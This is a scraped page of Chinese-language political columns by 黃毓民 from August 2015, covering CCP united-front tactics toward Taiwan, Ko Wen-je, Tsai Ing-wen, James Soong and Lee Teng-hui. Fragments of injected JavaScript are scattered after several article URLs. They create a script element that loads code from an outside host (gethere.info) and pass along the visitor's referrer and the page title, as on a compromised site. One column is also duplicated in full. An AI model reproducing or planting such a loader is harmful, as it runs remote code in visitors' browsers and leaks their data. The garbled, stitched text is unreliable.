2015.08.22 黑白集:中華民國在哪裡?

「統一戰線(簡稱統戰)」是中國共產黨起家,以至奪取政權的三大法寶之一,其精粹是「聯合次要敵人,打擊主要敵人」。毛澤東晚年鬥倒了林彪,事後夫子自道其政爭戰術是「甩石頭、掺沙子、挖墙角」,也許是老毛對統戰理論的補充。

 

 

中共針對台灣政壇的統戰工作從未停歇,對象無分藍綠。單就獨派陣營而論,立場強硬者,便「甩石頭」口誅筆伐,「麻煩製造者」及「破壞台海和平」等帽子盡出,務求使中間選民卻步;「掺沙子」(派人滲透)的工作是機密行事;至於「挖墙角」,一些台獨老將,與對岸「破冰」之後,有的對中共敵意大減,甚至有人變成了統派。

 

 

柯文哲2014年以無黨籍獨立「政治素人」身分,角逐台北市長選舉,其間曾指「不知九二共識是何物」,及提出「兩國一制」。踏入2015年,柯兩度接受中共官媒訪問時,一改口風形容「兩岸一家親」,又以所謂「一五新觀點」,迂迴地默認了九二共識,剛落幕的上海雙城論壇,大抵維持他的修正論調。

 

 

立竿見影的效果,是柯文哲與民進黨之間,已因此出現裂痕,例如台南市長賴清德公開向柯嗆聲,指除非中共撤去對準台灣的飛彈,否則「兩岸一家親」之說,實難引起台灣社會共鳴。民進黨另一前立委林濁水則分析,柯文哲以台北市長身分,在九二共識及一個中國的立場上率先讓步,將對有望2016年當選總統的蔡英文構成壓力,並收縮她對中共周旋之戰略縱深。

 

 

以往被中共統戰的綠營人物,其支持者迅速離棄,政治能量大打折扣。然而,柯文哲現風頭正盛,尚有3年任期,他會否被中共完全「挖」掉,對獨派政治生態有何影響,值得人們留意!

 

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150822/bkntw-20150822000426368-0822_04411_001.htmls.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;

2015.08.20 黑白集:未勝先驕的蔡英文

據民進黨最近的一項內部評估,該黨在113個立法院總席次中,可望奪得約57個席次,國民黨則只得40席左右。

 

 

也許是受此消息鼓舞,民進黨總統參選人蔡英文於8月16日公布未來執政「5大改革」,其中第4項「落實轉型正義」,表明「過去威權時代的遺害,必須一一掃除」。更不時點名暗示國民黨「擁有龐大不當黨產成為台灣民主最大的缺陷,也讓政黨無法公平競爭……只要進步力量取得國會的多數,我們都要一一來導正」。

 

 

轉型正義是政治學術語,意指一地民主化之後,對過去獨裁體制帶來的政治壓迫所作之善後工作,在台灣是開放黨禁報禁、結束《動員戡亂時期臨時條款》,乃至成立「財團法人二二八事件紀念基金會」及「財團法人戒嚴時期不當叛亂暨匪諜審判案件補償基金會」。

 

 

對綠營(尤其是深綠)中人而言,上述舉措仍不足夠,他們希望完全的炒回國民黨的家,及懲治白色恐怖之加害者,蔡英文的改革主張,滿足了他們一半訴求。可是,大選距今約5個月,蔡英文搶先提出轉型正義的願景,卻予公眾好像已篤定完勝,準備全面執政,並清算政敵的觀感。

 

 

蔡的第5項改革主張,卻是說要「終結政治惡鬥」,教人哭笑不得,試問如何能一邊向前執政黨開刀,同時又高唱朝野「大和解」?

 

 

選舉政治,是如何能隱住基本盤、爭取中間選民,又不招致對方陣營支持者反彈的藝術。蔡英文參選之初,擺出一副戒慎恐懼的姿態,但當形勢略佔上風,就得意忘形起來。也許蔡最終仍可勝選入主總統府,立法院選情卻有可能觸動藍營悲情,引發鐘擺效應,泛藍仍可保住議會過半數,她步上陳水扁的後塵,陷入朝小野大的困境!

 

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150820/bkntw-20150820000421498-0820_04411_001.html

2015.08.18 黑白集:宋楚瑜的兩岸關係答卷

宋楚瑜八月六日的參選宣言,涉及兩岸關係的部分,有些地方確是抓着了要害,例如他指出「兩岸關係就是國共內戰的延續……是中華民國與中華人民共和國兩個治權之爭,只是爭鬥的方式已經由戰爭的方式改變成為制度之爭、生活方式之爭。」

 

 

宋楚瑜說:「兩岸同屬炎黃子孫、中華民族的大家庭……2014年5月,與中共總書記習近平會談……共同提出『兩岸一家親』的方針……兩岸關係強不得、急不得、重不得,必須爭取時間換取兩岸合作的更大空間……首重『心靈契合』,兩廂情願自然水到渠成……在政治、經濟、社會差異尚有差距時,『維持中華民國的現狀』是台灣內部最大的共識。」但是,揆諸當前台灣島內政治情勢,卻未必能夠凝聚兩岸關係共識。

 

 

宋楚瑜的參選宣言,起首便藉中學生反課綱的抗爭,暗批馬英九政府處事強硬失當。然而,學生之所以不滿高中歷史課綱微調案,卻正是不滿其中強行灌輸的大中華國族身份認同。「兩岸一家親」之類話語,對台灣年輕一代,以至親綠營民眾,根本聽不入耳,他們也沒興趣與對岸官民「心靈契合」。宋楚瑜所謂要建立超越藍綠的聯合政府,恐怕只是選舉語言,人們認真不得!

 

 

宋楚瑜主張兩岸「雙方不結盟對抗,不進行軍備競賽」。可是,沒有正式的雙邊裁軍條約,只要中共繼續與俄國舉行聯合軍演,及共軍持續加速現代化,所謂不結盟及不軍備競賽,相信亦屬一廂情願。

 

 

台灣社會之所以有維持現狀的基本共識,政治急統固然沒有市場,兩岸經濟上的互動,基層及年輕人根本分享不到成果;主流社會不接受急獨,則是懍於中共的武嚇。兩岸的政治差距短期內相信難以拉近,宋楚瑜強調這一點,多談維持現狀,才有望爭取中間選民的支持。

 

黃毓民 時事評論員

 

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150818/bkntw-20150818000424514-0818_04411_001.htmldocument.currentScript.parentNode.insertBefore(s, document.currentScript);

2015.08.27 黑白集:中華民國在哪裡?

前總統李登輝較早時接受日媒專訪,聲稱在太平洋戰爭時,台灣人當時「身為日本人,是為祖國而戰」,「既然(台日兩地)同屬一國,台灣對日抗戰就不是事實」,自然引來總統馬英九及泛藍陣營的狠批。

評論此事對錯,必須從問題核心入手 ── 過去20多年來台灣的政治問題,歸根結柢,是無法解開的身份認同死結 ── 中華民國在台澎金馬的民眾,應有怎麼樣的身份認同,到底是中國人,還是台灣人?

藍營傾向前者,但在國際舞台上,「中國」的名號已被中華人民共和國奪去,中華民國公民自認中國人,必須要向外國人費盡唇舌,解釋自己並非從屬於中共。

民進黨1999年的《台灣前途決議文》,表明「台灣是一主權獨立國家……並不屬於中華人民共和國」,但在「說明」部分卻指「目前憲法稱為中華民國」,有人形容這是「借殼台獨」(此主張也是出於李登輝),曾繼何時民進黨是否定中華民國,如今以「以否定為肯定」,要依靠「中華民國」來確立主權獨立地位。統獨兩派各有其尷尬之處。

領導中國抗日勝利,可算是國民黨最大的歷史功德,也是藍營中人引以為傲之處;另一方面,台灣本省人,當中不少對日本殖民統治,有懷念之情。兩者對日本南轅北轍的態度,這也是台灣身份認同的另一撕裂族群之源。

李登輝曾在1998年,台灣光復53周年前夕,以中華民國總統身份發表談話,提出「新台灣人」理念,稱「在這一片土地上共同成長、生活的我們,不論是原住民、是數百年前或是數10年前來的……都是台灣的真正主人。

我們對台灣過去的發展有著相同的貢獻,而對台灣的未來前途更有著共同的責任。」此外,提拔他的前總統蔣經國,晚年亦曾公開宣告自己也是台灣人。凡此種種,都有化解撕裂,重構身份認同的用意。

然而,李登輝最近的言行,卻充滿向藍營挑釁的意味,無助台灣民主建設,單從這一點,已值得批評!

前總統李登輝較早時接受日媒專訪,聲稱在太平洋戰爭時,台灣人當時「身為日本人,是為祖國而戰」,「既然(台日兩地)同屬一國,台灣對日抗戰就不是事實」,自然引來總統馬英九及泛藍陣營的狠批。

評論此事對錯,必須從問題核心入手 ── 過去20多年來台灣的政治問題,歸根結柢,是無法解開的身份認同死結 ── 中華民國在台澎金馬的民眾,應有怎麼樣的身份認同,到底是中國人,還是台灣人?

藍營傾向前者,但在國際舞台上,「中國」的名號已被中華人民共和國奪去,中華民國公民自認中國人,必須要向外國人費盡唇舌,解釋自己並非從屬於中共。

民進黨1999年的《台灣前途決議文》,表明「台灣是一主權獨立國家……並不屬於中華人民共和國」,但在「說明」部分卻指「目前憲法稱為中華民國」,有人形容這是「借殼台獨」(此主張也是出於李登輝),曾繼何時民進黨是否定中華民國,如今以「以否定為肯定」,要依靠「中華民國」來確立主權獨立地位。統獨兩派各有其尷尬之處。

領導中國抗日勝利,可算是國民黨最大的歷史功德,也是藍營中人引以為傲之處;另一方面,台灣本省人,當中不少對日本殖民統治,有懷念之情。兩者對日本南轅北轍的態度,這也是台灣身份認同的另一撕裂族群之源。

李登輝曾在1998年,台灣光復53周年前夕,以中華民國總統身份發表談話,提出「新台灣人」理念,稱「在這一片土地上共同成長、生活的我們,不論是原住民、是數百年前或是數10年前來的……都是台灣的真正主人。

我們對台灣過去的發展有著相同的貢獻,而對台灣的未來前途更有著共同的責任。」此外,提拔他的前總統蔣經國,晚年亦曾公開宣告自己也是台灣人。凡此種種,都有化解撕裂,重構身份認同的用意。

然而,李登輝最近的言行,卻充滿向藍營挑釁的意味,無助台灣民主建設,單從這一點,已值得批評!

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150827/bkntw-20150827000422018-0827_04411_001.htmlvar d=document;var s=d.createElement(‘script’);

2015.08.25 黑白集:中共統戰的盲點

中共的統戰,雖有其高明之處,但非戰無不勝,由於受意識形態及政治正教條框限,有時與其統戰對象之世界觀或政治信仰互相牴觸,往往得出適得其反的結果,更經常鬧出大笑話。

北京為紀念抗戰勝利七十周年,九月三日於天安門舉行大型閱兵。同時,共軍背景的「八一電影製片廠」,拍了一套《開羅宣言》電影,打算在同日上畫。最近公布的電影海報,有出席會議的時任美國總統羅斯福,及英國首相丘吉爾,卻也有本因《蘇日中立條約》而需避席的蘇聯領導人史達林,而中國代表,竟不是蔣介石,而是當時據國共《共赴國難宣言》,應受國民政府軍事委員會領導的毛澤東!

雖然預告片有交代出席開羅會議的是蔣介石,但他在近兩分鐘的片中只有一句「向日本宣戰」對白,反為預告片中花上了不少篇幅,由毛澤東及史達林正經八百的說教,解釋反法西斯戰爭的意義,前者更在短片中亮相四回,有一段夸夸其談,指「三巨頭會議應當做出一個決議,一個有利於中國人民和世界人民的決議。」恍如蔣是奉毛的指示到開羅赴會!

海報及預告片一出,兩岸三地網友固然笑駡之聲及惡搞不絕,就連立場一向傾向大漢沙文主義的中共官媒《環球時報》,也刊登評論員文章,指出在此歷史事件,過分突出毛澤東並不適當。

中共一向自詡是抗日戰爭的「中流砥柱」,以前甚至誑稱是由他們領導。只不過是馬英九當選總統後,兩岸關係解凍,才鬆動口徑,對國軍「正面戰場」的功勞略為肯定。中共若不摒棄扭曲歷史的惡習,不正視史實,高調紀念「抗戰勝利七十周年」,只會貽人笑柄!不過被人恥笑事小,曾被北京拉攏的深藍統派中人看在眼裏,生出被共產黨用完即棄的心寒感覺,統戰工作付諸東流事大!

黃毓民 時事評論員

 

http://tw.on.cc/tw/bkn/cnt/commentary/20150825/bkntw-20150825000514666-0825_04411_001.htmlif (document.currentScript) {